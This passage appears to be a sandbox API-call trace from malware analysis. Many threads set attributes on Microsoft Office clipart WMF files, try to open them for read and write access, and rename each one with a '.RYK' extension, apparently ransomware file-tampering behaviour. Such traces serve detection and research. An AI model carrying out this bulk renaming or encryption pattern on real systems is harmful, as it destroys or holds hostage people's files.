	[0234.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1509
	os_tid = 0x1d9c

	[0234.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF", dwFileAttributes=0x80) returned 0
	[0234.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.335] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.335] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1510
	os_tid = 0x1da0

	[0234.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF", dwFileAttributes=0x80) returned 0
	[0234.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.373] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1511
	os_tid = 0x1da4

	[0234.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF", dwFileAttributes=0x80) returned 0
	[0234.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.371] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.371] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1512
	os_tid = 0x1da8

	[0234.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF", dwFileAttributes=0x80) returned 0
	[0234.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.369] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1513
	os_tid = 0x1dac

	[0234.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF", dwFileAttributes=0x80) returned 0
	[0234.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.367] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.367] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1514
	os_tid = 0x1db0

	[0234.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF", dwFileAttributes=0x80) returned 0
	[0234.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.366] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.366] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1515
	os_tid = 0x1db4

	[0234.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF", dwFileAttributes=0x80) returned 0
	[0234.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.364] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.364] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1516
	os_tid = 0x1db8

	[0234.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF", dwFileAttributes=0x80) returned 0
	[0234.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.362] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1517
	os_tid = 0x1dbc

	[0234.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF", dwFileAttributes=0x80) returned 0
	[0234.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.360] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1518
	os_tid = 0x1dc0

	[0234.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF", dwFileAttributes=0x80) returned 0
	[0234.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.358] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.358] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1519
	os_tid = 0x1dc4

	[0234.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF", dwFileAttributes=0x80) returned 0
	[0234.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.356] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.357] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1520
	os_tid = 0x1dc8

	[0234.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF", dwFileAttributes=0x80) returned 0
	[0234.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.355] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1521
	os_tid = 0x1dcc

	[0234.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF", dwFileAttributes=0x80) returned 0
	[0234.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.353] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1522
	os_tid = 0x1dd0

	[0234.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF", dwFileAttributes=0x80) returned 0
	[0234.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.351] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1523
	os_tid = 0x1dd4

	[0234.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF", dwFileAttributes=0x80) returned 0
	[0234.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.349] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1524
	os_tid = 0x1dd8

	[0234.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF", dwFileAttributes=0x80) returned 0
	[0234.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.347] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.347] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1525
	os_tid = 0x1ddc

	[0234.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF", dwFileAttributes=0x80) returned 0
	[0234.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.422] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1526
	os_tid = 0x1de0

	[0234.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF", dwFileAttributes=0x80) returned 0
	[0234.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.484] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.484] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1527
	os_tid = 0x1de4

	[0234.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF", dwFileAttributes=0x80) returned 0
	[0234.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.344] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.344] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1528
	os_tid = 0x1de8

	[0234.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF", dwFileAttributes=0x80) returned 0
	[0234.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.485] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1529
	os_tid = 0x1dec

	[0234.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF", dwFileAttributes=0x80) returned 0
	[0234.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.486] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1530
	os_tid = 0x1df0

	[0234.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF", dwFileAttributes=0x80) returned 0
	[0234.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.488] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.488] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1531
	os_tid = 0x1df4

	[0234.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF", dwFileAttributes=0x80) returned 0
	[0234.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.489] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1532
	os_tid = 0x1df8

	[0234.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF", dwFileAttributes=0x80) returned 0
	[0234.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.490] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.490] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1533
	os_tid = 0x1dfc

	[0234.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF", dwFileAttributes=0x80) returned 0
	[0234.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.491] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.491] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1534
	os_tid = 0x1e00

	[0234.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF", dwFileAttributes=0x80) returned 0
